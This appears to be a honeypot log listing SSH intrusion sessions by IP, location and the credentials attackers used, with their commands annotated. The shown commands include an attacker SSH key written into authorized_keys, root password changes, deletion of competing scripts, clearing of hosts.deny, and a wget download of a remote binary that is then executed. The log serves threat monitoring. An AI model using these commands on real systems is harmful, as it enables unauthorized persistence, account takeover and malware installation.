$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:WhSh8V2yY5JV"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root_9 (50.6.250.45) — Ashburn, United States · 1 session · 19 cmds

2026-07-02 06:24 EDT · as root/zaq1@WSX

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ra4dFYTqNNrT"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root_12 (106.12.128.30) — Beijing, China · 1 session · 3 cmds

2026-07-02 06:20 EDT · as root/Jupiter@123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

🎭 bibimbap_sol (203.142.160.143) — Seongnam-si, South Korea · 1 session · 19 cmds

2026-07-02 06:15 EDT · as root/1234567t

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:zrNq7swbbyVe"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_35 (194.146.47.161) — Istanbul, Türkiye · 1 session · 19 cmds

2026-07-02 06:09 EDT · as root/lisa123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ZyEHOMOKoS8i"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade (14.103.127.242) — Haidian, China · 1 session · 20 cmds

2026-07-02 05:35 EDT · as bar/bar

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "bar\n7TPEQoYWCIag\n7TPEQoYWCIag"|passwd|bash

$ Enter new UNIX password:

$ echo "bar\n7TPEQoYWCIag\n7TPEQoYWCIag\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 samba_root_8 (200.236.4.150) — Curitiba, Brazil · 3 sessions · 57 cmds

2026-07-02 04:40 EDT · as root/3edc#EDC3edc, root/Qwerty.2024, root/lm@123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:q8eNobSnH8NZ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:WnZe0v1KzHJD"|chpasswd|bash

$ echo "root:4VxF96Dhygcg"|chpasswd|bash

🎭 samba_root_9 (45.172.162.153) — Brasília, Brazil · 2 sessions · 38 cmds

2026-07-02 04:41 EDT · as root/3edc#EDC3edc, root/lm@123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:UgbbsXgPQ8UV"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:hR0Rty0tzEa3"|chpasswd|bash

🎭 tulip_sol (45.153.34.71) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-02 03:30 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 specter_root_9 (103.200.25.79) — Nguyễn Du, Vietnam · 1 session · 20 cmds

2026-07-02 03:27 EDT · as es/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "admin123\nGfIhgVHjNpvj\nGfIhgVHjNpvj"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\nGfIhgVHjNpvj\nGfIhgVHjNpvj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_39 (82.223.15.202) — Madrid, Spain · 9 sessions · 9 cmds

2026-06-30 13:41 EDT · as root/blackcat

Ran uname 9x across 9 sessions — automated OS fingerprinting.

$ uname -a ×9 // OS/kernel identification

🎭 rogue_root_42 (161.82.146.86) — Bangkok, Thailand · 2 sessions · 2 cmds

2026-07-02 02:57 EDT · as root/, root/123456

echo

$ echo SHELL_TEST ×2

🎭 lantern (121.31.210.47) — Liuzhou, China · 1 session · 20 cmds

2026-07-02 02:49 EDT · as user1/test1

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "test1\nHoQbTHsD8Skv\nHoQbTHsD8Skv"|passwd|bash

$ Enter new UNIX password:

$ echo "test1\nHoQbTHsD8Skv\nHoQbTHsD8Skv\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_36 (152.32.220.188) — Singapore, Singapore · 1 session · 19 cmds

2026-07-02 02:38 EDT · as root/daimler

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ViNLEVn0i4fk"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_43 (43.132.150.89) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-07-02 02:37 EDT · as root/daimler

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:pTMPhg4JOrjM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stein_root_7 (5.44.111.112) — Dortmund, Germany · 5 sessions · 5 cmds

2026-07-01 13:21 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 wraith_root_25 (101.36.119.203) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-02 02:31 EDT · as deni/deni123

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "deni123\nNqxQ3mby913f\nNqxQ3mby913f"|passwd|bash

$ Enter new UNIX password:

$ echo "deni123\nNqxQ3mby913f\nNqxQ3mby913f\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stein_root_8 (193.19.160.70) — Geiselbach, Germany · 1 session · 1 cmd

2026-07-02 02:29 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 clog_root_5 (91.92.40.11) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-02 02:27 EDT · as root/123456

echo

$ echo $HOME

🎭 pretzel_root_13 (51.68.170.30) — Limburg an der Lahn, Germany · 4 sessions · 4 cmds

2026-07-01 10:34 EDT · as root/blackcat

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -a ×4 // OS/kernel identification

🎭 cipher_root_40 (46.229.238.131) — Bratislava, Slovakia · 5 sessions · 5 cmds

2026-07-01 15:33 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 cipher_root_41 (217.73.233.111) — Ponte San Pietro, Italy · 5 sessions · 5 cmds

2026-07-01 12:57 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 monet_root_4 (87.106.18.36) — Courbevoie, France · 5 sessions · 5 cmds

2026-07-01 19:31 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 autobahn_root_7 (217.86.134.147) — Stuttgart, Germany · 1 session · 9 cmds

2026-07-02 01:06 EDT · as admin/Qwerty1

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

$ hostname // hostname discovery

$ uname -m&&pkill upnpsetup // process termination

$ sudo pkill upnpsetup // process termination

$ rm ./upnpsetup

$ wget -nc http://45.87.174.8/k.php?a=x86_64,383437GIQZDZ5O97H -O ./upnpsetup

$ chmod 777 ./upnpsetup // make executable (world)

$ sudo ./upnpsetup

$ ./upnpsetup // execute payload

🎭 lantern_root_12 (101.89.148.7) — Shanghai, China · 1 session · 1 cmd

2026-07-02 00:31 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 star_root_15 (20.172.240.136) — Boydton, United States · 1 session · 19 cmds

2026-07-01 22:58 EDT · as root/Welcome!@#123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:4l7XnqCC8Mll"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

